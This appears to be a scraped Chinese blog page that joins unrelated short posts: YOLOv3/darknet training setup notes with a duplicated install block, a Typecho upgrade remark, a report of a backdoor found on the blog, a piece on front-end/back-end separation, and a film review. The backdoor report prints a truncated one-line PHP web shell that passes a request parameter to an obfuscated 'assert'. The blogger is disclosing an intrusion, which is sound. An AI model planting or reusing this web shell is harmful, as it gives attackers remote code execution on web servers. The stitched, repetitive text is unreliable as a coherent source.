目标检测YOLOv3笔记(2):尝试训练数据
接下来是训练自己的模型
自己标注数据
Ubuntu下载LabelImg标注工具
git clone https://github.com/tzutalin/labelImg
安装依赖
apt-get install pyqt4-dev-tools
apt-get install python-lxml
编译make all
,运行
python labelImg.py
接下来是训练自己的模型
Ubuntu下载LabelImg标注工具
git clone https://github.com/tzutalin/labelImg
安装依赖
apt-get install pyqt4-dev-tools
apt-get install python-lxml
编译make all
,运行
python labelImg.py
网络原理就不多讲,我也是半知半解,我们先关注怎么用。
下载源码
git clone https://github.com/pjreddie/darknet.git
对Makefile的几个参数根据自己的情况进行修改
GPU=1
CUDNN=1
OPENCV=1
编译make
,下载训练好的权重文件:wget https://pjreddie.com/media/files/yolov3.weights
然后就可以测试
测试图片
./darknet detect cfg/yolov3.cfg yolov3.weights data/dog.jpg
测试视频,video file
自己放段视频
./darknet detector demo cfg/coco.data cfg/yolov3.cfg yolov3.weights <video file>
升级了下typecho版本,测试下发图
今晚要睡觉,忽然发现首页被放了个后门,也不知道是什么时候给放的,哎,太久没打理,等网关弄好再好好整整。
一句话后门
$_REQUEST['y2gyc0']) && array_map("ass\x65rt",(array)$_REQUEST['y2gyc0']);
猜测是我版本升级的时候没有把install.php忽略,结果留下这个安装入口的隐患
个人觉得前后端分离有诸多好处,特别是在快速迭代的移动互联网应用的开发上。
其一是优化开发流程和分工,可是让前后端的开发工作同步进行,设计初步确定后前后端开发人员协商定下接口文档,前端开发人员可以构建Mock工具模拟接口进行开发;
其二是解耦,移动互联网项目出现变更的情况非常普遍,前后端分离让变更照成的影响减低,加上前端采用组件化,一些变更甚至只需要修改前端的某个组件,有些可能就是后端提供新接口前端添加组件。
其三是对应用的控制和排错更加方便,接口可以都接入统一的API网关进行控制和监控;
其四是某些场景下可以降低对服务端性能的消耗,这里是指采用比如nodejs的前端框架进行前端渲染。
很有意思的电影,借科幻题材讲述爱情。一方面,科幻画面和细节的拍摄都不错,除了为了故事能够讲下去而设定的飞船上什么都有就是没有让人进入休眠状态的装置非常不符合逻辑,其他都还好,特别喜欢那个游泳池。一方面,表达的观点个人是比较赞同的。